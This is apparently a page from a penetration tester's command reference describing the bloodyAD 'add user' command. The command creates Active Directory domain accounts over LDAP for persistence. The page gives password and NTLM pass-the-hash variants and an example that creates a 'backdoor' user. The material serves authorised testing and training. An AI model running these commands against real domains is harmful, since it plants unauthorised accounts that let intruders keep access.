Command Manager

bloodyAD Create User

Create a new domain user object. Requires Create Child rights on a Users container (which OU operators / certain custom roles often have). Useful for establishing persistence or a clean staging account.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
bloodyAD
Category
Post-Exploitation / AD Object Manipulation
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add user <new_user> <new_password>

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

bloodyAD --host <dc-ip> -d <domain> -u <user> -p :<hash> add user <new_user> <new_password>

Custom OU requires password

bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add user <new_user> <new_password> --path 'OU=Staff,DC=corp,DC=local'

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add user backdoor 'P@ssw0rd!23'

Tags

bloodyad user create persistence

References